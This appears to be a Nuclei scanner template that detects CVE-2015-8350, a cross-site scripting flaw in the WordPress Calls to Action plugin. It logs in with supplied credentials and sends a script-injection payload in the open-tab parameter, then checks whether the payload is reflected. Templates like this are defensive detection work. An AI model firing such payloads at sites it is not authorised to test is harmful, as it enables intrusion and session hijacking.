id: CVE-2015-8350

info:
  name: WordPress Calls to Action <=2.4.3 - Authenticated Reflected XSS
  author: 0x_Akoko
  severity: medium
  description: |
    Calls to Action plugin before 2.5.1 for WordPress contains stored XSS caused by unsanitized input in open-tab parameter in wp-admin/edit.php and wp-cta-variation-id parameter in ab-testing-call-to-action-example/, letting remote attackers inject arbitrary web script or HTML, exploit requires sending crafted requests.
  impact: |
    Attackers can execute arbitrary scripts in the context of the affected website, leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 2.5.1 or later to fix the vulnerabilities.
  reference:
    - https://www.immuniweb.com/advisory/HTB23274
    - https://seclists.org/bugtraq/2015/Dec/9
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8350
    - https://plugins.trac.wordpress.org/changeset/1274208/cta
    - http://packetstormsecurity.com/files/134598/WordPress-Calls-To-Action-2.4.3-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-8350
    cwe-id: CWE-79
    epss-score: 0.02645
    epss-percentile: 0.84092
    cpe: cpe:2.3:a:inboundnow:call_to_action:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: inboundnow
    product: call_to_action
    framework: wordpress
  tags: seclists,cve,cve2015,wordpress,wp-plugin,xss,reflected,authenticated
flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/edit.php?post_type=wp-call-to-action&page=wp_cta_global_settings&open-tab='><script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "open-tab", "<script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 4a0a00473045022015e2f44febb04d416d139aac709d195960c207fcec97a5ba95ffede0ef5e5009022100a08600eaee411f45c21827356a65f63d3eb587e770858fb813e55eff4b444f81:922c64590222798bb761d5b6d8e72950